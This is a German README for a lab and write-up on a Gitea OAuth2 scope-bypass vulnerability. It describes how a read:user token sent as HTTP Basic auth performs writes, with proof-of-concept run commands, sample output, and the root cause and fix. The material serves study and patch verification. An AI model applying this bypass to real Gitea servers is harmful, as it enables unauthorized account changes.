
Lab + Ausarbeitung für CVE-2026-28699: Gitea OAuth2-Scope-Durchsetzungsumgehung via HTTP Basic Auth
Ein Gitea OAuth2-Zugriffstoken, das nur auf read:user beschränkt ist, kann vollständige Schreibaktionen ausführen, wenn es als Authorization: Basic base64(<token>:x-oauth-basic) anstelle eines Bearer-Tokens gesendet wird. Die Bereichsprüfung wird für jedes Token übersprungen, das über Basic Auth übermittelt wird.
Betroffen: <= 1.26.1. Behoben in 1.26.2.
Advisory: GHSA-9r5x-wg6m-x2rc. CWE-863. Schweregrad: Hoch.
Ausführliche Analyse: WRITEUP.md
pip install -r requirements.txt # requests
python fetch_binaries.py # pulls vulnerable 1.26.1 + patched 1.26.2 for your OS
python poc.py 1.26.1 # vulnerable: Basic-auth write succeeds (scope bypassed)
python poc.py 1.26.2 # patched: Basic-auth write blocked (403)
poc.py richtet ein temporäres Gitea auf SQLite im temporären Systemverzeichnis ein, führt den OAuth2-Autorisierungscode-Fluss aus, um einen read:user-nur-Token zu erstellen, ruft dann einen Write-Endpunkt sowohl über Bearer als auch Basic auf und gibt das Ergebnis aus. Setzen Sie POC_DEBUG=1, um die Authentifizierungs-Fluss-Schritte zu sehen.
Vulnerable 1.26.1:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 200 (ALLOWED -- scope BYPASSED)
>>> VULNERABLE: read:user token performed a write via Basic auth.
Patched 1.26.2:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
>>> PATCHED: scope enforced on both Bearer and Basic.
services/auth/basic.go setzt IsApiToken, aber nicht ApiTokenScope für OAuth2-Tokens. Die Middleware tokenRequiresScopes gibt frühzeitig zurück, wenn der Bereich fehlt, sodass nichts geprüft wird. Der Fix in 1.26.2 fügt die fehlende store.GetData()["ApiTokenScope"] = accessTokenScope hinzu.
Für Bildung und autorisierte Sicherheitstests: Ihr eigenes Labor, CTF- und HTB-Umgebungen, Bug-Bounty-Ziele im Rahmen. Der PoC führt ein eigenes, wegwerfbares Gitea aus, also richten Sie es auf nichts, was Ihnen nicht gehört.
| Auth-Darstellung | IsApiToken | ApiTokenScope | Bereich durchgesetzt? |
|---|
| OAuth2-Token via Bearer | true | gesetzt | yes |
| OAuth2-Token via Basic | true | fehlt | no (fails open) |
| Persönliches Zugriffstoken | true | gesetzt | yes |
| Datei | Zweck |
|---|
WRITEUP.md | Ursachenanalyse, Auswirkungen, Behebung, Erkennung |
fetch_binaries.py | Lädt die Binärdateien 1.26.1 / 1.26.2 für Ihr Betriebssystem/Ihre Architektur herunter |
poc.py | Richtet Gitea ein, erstellt einen read:user-Token, testet Bearer vs Basic |
requirements.txt | requests |